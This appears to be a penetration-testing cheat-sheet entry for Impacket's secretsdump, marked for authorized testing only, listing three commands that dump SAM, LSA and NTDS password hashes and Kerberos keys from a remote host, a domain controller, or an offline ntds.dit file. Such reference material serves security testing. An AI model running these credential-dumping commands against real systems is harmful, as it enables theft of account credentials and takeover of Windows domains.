impacket-secretsdump

Dump SAM / LSA / NTDS hashes and Kerberos keys (Impacket; authorized testing only).

$ impacket-secretsdump corp/operator:'Pw'@10.0.0.5
$ impacket-secretsdump -just-dc corp/operator@DC01
$ impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL